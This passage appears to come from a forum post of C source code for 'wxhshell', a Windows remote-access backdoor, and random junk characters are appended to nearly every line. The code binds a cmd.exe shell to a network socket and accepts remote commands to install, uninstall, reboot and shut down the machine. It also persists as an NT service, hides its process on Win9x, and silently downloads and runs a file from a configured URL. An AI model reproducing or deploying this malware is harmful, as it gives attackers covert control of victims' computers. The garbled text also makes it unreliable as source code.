      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  Lhg  
    break; f&5S`}C  
  } I'{Ctc  
  // 安装 (HeSL),1  
  case 'i': { Pr%KcR ;  
    if(Install()) E,?IIRg&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zp f<!x^  
    else Wy6a4oY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4`oKvL9  
    break; =(TMcu$4`  
    } ckP AH E@  
  // 卸载 @Q ~; @M  
  case 'r': { yG~Vvpv  
    if(Uninstall()) X[<#B5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -9+$z|K  
    else a $'U?%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p8.JJt^  
    break; a|t{1]^w`  
    } K`X'Hg#_P2  
  // 显示 wxhshell 所在路径 zD8$DG8  
  case 'p': { o\it]B  
    char svExeFile[MAX_PATH]; #H Jlm1d  
    strcpy(svExeFile,"\n\r"); Z&H_+u3j  
      strcat(svExeFile,ExeFile); }8"i~>>a  
        send(wsh,svExeFile,strlen(svExeFile),0); 17l?li  
    break; pg,JYn  
    } .sj/Lw}  
  // 重启 3''Kg<k,I  
  case 'b': { j8?! J^TC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K9ih(fh)  
    if(Boot(REBOOT)) dQp>z%L)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vzSjfv  
    else { PW"?* ~&  
    closesocket(wsh); ?@MY+r_G  
    ExitThread(0); tJtp1$h  
    } &l-d_dh  
    break; HtE^7i*_  
    } 438r]f?0|{  
  // 关机 DrBkR` a?  
  case 'd': { jc>B^mqx  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nHXPEbq-g  
    if(Boot(SHUTDOWN)) /: \27n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dKDCJ t]t  
    else { W>{&" 5  
    closesocket(wsh); >N`, 3;Z  
    ExitThread(0); 0%\fm W j  
    } }4c$_  
    break; 0?I  
    } Xooh00  
  // 获取shell # E8?2]  
  case 's': { +W-b3R:1>  
    CmdShell(wsh); ?0z/i^I  
    closesocket(wsh); _m a;b<I/<  
    ExitThread(0); gLo&~|=L-  
    break; U/v)6:j)4R  
  }  8QKu  
  // 退出 rniL+/-uU  
  case 'x': { TOq xl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); p!Tac%D+k  
    CloseIt(wsh); Ft:_6T%  
    break; :m'(8s8  
    } XWz~*@ci  
  // 离开 67Tu8I/r  
  case 'q': { #t# S(A9)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); e cvZwL  
    closesocket(wsh); qM^y@B2MO  
    WSACleanup(); 0f+]I=1\  
    exit(1); xTcY&   
    break; m^/>C -&C  
        } *z~J ]  
  } 4 #lLC-k  
  } & }"I!  
[5b[ztN%  
  // 提示信息 0U.Ld:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fgh an.F  
} EjEXev<]  
  } RdpOj >fT  
NLgeBLB  
  return; `q\v~FT  
} lY |]  
6is+\  
// shell模块句柄 rg%m   
int CmdShell(SOCKET sock) D[YdPg@-  
{ 9(KffnE^  
STARTUPINFO si; ^:O*Sx.CA  
ZeroMemory(&si,sizeof(si)); 7 X~JLvN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W^H[rX}=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lKRp9isn^  
PROCESS_INFORMATION ProcessInfo; >M m.MNU  
char cmdline[]="cmd"; zRau/1Y0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %uP/v\l  
  return 0; TUp%Cx  
} ]@}@G[e#[  
&(x>J:b  
// 自身启动模式 sJg3WN  
int StartFromService(void) T Q {8 ee{  
{ f,@~@f X  
typedef struct 4 T/ ~erc  
{ /cZcfCW  
  DWORD ExitStatus; AZJ|.mV q  
  DWORD PebBaseAddress; ]InDcE  
  DWORD AffinityMask; ,zBc-Cm  
  DWORD BasePriority; d _=44( -  
  ULONG UniqueProcessId; y dzvjp=  
  ULONG InheritedFromUniqueProcessId; cf_X=;yaqy  
}   PROCESS_BASIC_INFORMATION; .e S* F  
)B5U0iIi  
PROCNTQSIP NtQueryInformationProcess; VOmS>'$  
K<u~[^R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _xP@kN~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n 2(\pQKm  
=G rg  
  HANDLE             hProcess; g-+/zEOUS  
  PROCESS_BASIC_INFORMATION pbi; kw1Lm1C  
LyNur8 Zi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x1#6~283  
  if(NULL == hInst ) return 0; kN vNV(4  
v[m1R'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *b1NVN$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B8V85R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mj2sbRiSR=  
 ck`$ `  
  if (!NtQueryInformationProcess) return 0; q1%xk =8  
u,@x7a,z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X=JAyxY  
  if(!hProcess) return 0; _x7>d:C  
_1\H{x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  qJj5_  
g aXF3v*j  
  CloseHandle(hProcess); ??P> HVx  
+$G P(Uu,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %vrUk;<35  
if(hProcess==NULL) return 0; maQOU1  
T!5g:;~y >  
HMODULE hMod; .lppT)P  
char procName[255]; ! AL?bW  
unsigned long cbNeeded; ]G=^7O]`C!  
Fz_8m4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sJLJVSv8c  
4f,%@s)zn  
  CloseHandle(hProcess); }e,*'mCC*  
?)+I'lW!  
if(strstr(procName,"services")) return 1; // 以服务启动 ? ~~,?Uxw!  
NVo =5  
  return 0; // 注册表启动 <ZeZq  
} <$'FTv  
0OVxx>p/x  
// 主模块 7:S)J~s*O  
int StartWxhshell(LPSTR lpCmdLine) _d3/="=  
{ Ml,87fo  
  SOCKET wsl; Gh{vExH@5(  
BOOL val=TRUE; l8!n!sC[,  
  int port=0; =ThacZHb8  
  struct sockaddr_in door; zeHs5P8}r  
6q^.Pg-Y  
  if(wscfg.ws_autoins) Install(); sX=_|<[  
lem\P_V)  
port=atoi(lpCmdLine); zQ,ymf T  
*s"{JrG`O  
if(port<=0) port=wscfg.ws_port; "V7&@3  
as@I0e((  
  WSADATA data; ?s{Pp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~FZ=  
'\Hh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U_Va'7  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EWoGdH|  
  door.sin_family = AF_INET; KZTT2KsYl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SNf*2~uq)  
  door.sin_port = htons(port); x-s]3'!L  
Y-:{a1/RKo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ucC'SS  
closesocket(wsl); Ps7Bt(/  
return 1; rc]`PV  
} .^* .-8q  
O LxiY r  
  if(listen(wsl,2) == INVALID_SOCKET) { ^T/d34A;SP  
closesocket(wsl); w#`E;fN'  
return 1; {3=]cLtt  
} x AR9* <-  
  Wxhshell(wsl); '|l1-yD_  
  WSACleanup(); 4P}<86xk  
#a"gW,/K  
return 0; skn];%[v\  
2=xjgK  
} Ycve[31BDd  
Ny)!uqul*  
// 以NT服务方式启动 FQCz_ z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) '0>w_ge4  
{ 2AI~Jm#  
DWORD   status = 0; bIahjxd:  
  DWORD   specificError = 0xfffffff; E h>qUa  
~!a~ -:#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; F2RU7o'f.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :Sd iG=t  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?Dk&5d^d  
  serviceStatus.dwWin32ExitCode     = 0; u >o2lvy8  
  serviceStatus.dwServiceSpecificExitCode = 0; }*I:0"WH  
  serviceStatus.dwCheckPoint       = 0; E"$AOM?(*i  
  serviceStatus.dwWaitHint       = 0; 7LY4q/  
BliL1"".  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Qyoly"b@  
  if (hServiceStatusHandle==0) return; =E''$b?Em  
aI:G(C?jm  
status = GetLastError(); H[&X${ap  
  if (status!=NO_ERROR) vEIDf{  
{ IH1 fvW e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; V/}g'_E  
    serviceStatus.dwCheckPoint       = 0; z<c@<M=Q*  
    serviceStatus.dwWaitHint       = 0; fB3W} dr  
    serviceStatus.dwWin32ExitCode     = status; !4B($]t  
    serviceStatus.dwServiceSpecificExitCode = specificError; !B &%!06  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B'Ll\<mq@  
    return; + \AiUY  
  } }?jL;CCe  
@NS=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kG>d^K  
  serviceStatus.dwCheckPoint       = 0; Cj x(Z]  
  serviceStatus.dwWaitHint       = 0; .A`Q!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2'zYrdem  
} +5:oW~ ;  
yY$:zc"J  
// 处理NT服务事件,比如:启动、停止 yH0BNz8V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3-5X^!C  
{ -_RMiGM?T  
switch(fdwControl) Oy^)lF/  
{ i?&g;_n^  
case SERVICE_CONTROL_STOP: t  Tky  
  serviceStatus.dwWin32ExitCode = 0; ErNL^Se1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; s<t*g]0`/  
  serviceStatus.dwCheckPoint   = 0; -~-BQ!!(  
  serviceStatus.dwWaitHint     = 0; b+.P4+  
  { tz&oe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S0 AaJty  
  } uIkB&  
  return; w{1DwCLKq  
case SERVICE_CONTROL_PAUSE: L`Lro:E?kL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; OTNcNY  
  break; 1 \_S1ZS  
case SERVICE_CONTROL_CONTINUE: 5P'<X p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~a^"VQ5]ac  
  break; U!rhj&n  
case SERVICE_CONTROL_INTERROGATE: ,s*-2Sz  
  break; WZ a?Xb  
}; -_@3!X1~i+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q$NT>d6Q  
} INFbj8T  
O]SjShp  
// 标准应用程序主函数 VgHVj)ir  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !z7j.u`Y  
{ e==}qQ  
'<.@a"DnJ  
// 获取操作系统版本 D.hj9  
OsIsNt=GetOsVer(); al9L+ruR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #R<ErX)F  
478gl o  
  // 从命令行安装 -c"nx$  
  if(strpbrk(lpCmdLine,"iI")) Install(); U&uop$/Cq  
1d4?+[)gUv  
  // 下载执行文件 ]D@_cxud3  
if(wscfg.ws_downexe) { 8%qHy1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y3 vDKZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); +O 2H":$  
} ^x8yW brE  
)c:i 'L  
if(!OsIsNt) { y Q_lJIX  
// 如果时win9x,隐藏进程并且设置为注册表启动 -^i[   
HideProc(); J_]B,' 6  
StartWxhshell(lpCmdLine); bF5mCR:  
} #-wtNM%1#  
else u dhj$:t  
  if(StartFromService()) mT@8(  
  // 以服务方式启动 xU4,Rcgo  
  StartServiceCtrlDispatcher(DispatchTable); SL9]$MmJn  
else o\oS_f:RD  
  // 普通方式启动 ^{3,ok*Nf  
  StartWxhshell(lpCmdLine); 5m _$21  
Bw ]Y7 1  
return 0; +} al_.  
}
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只看该作者 1 发表于: 2006-10-10
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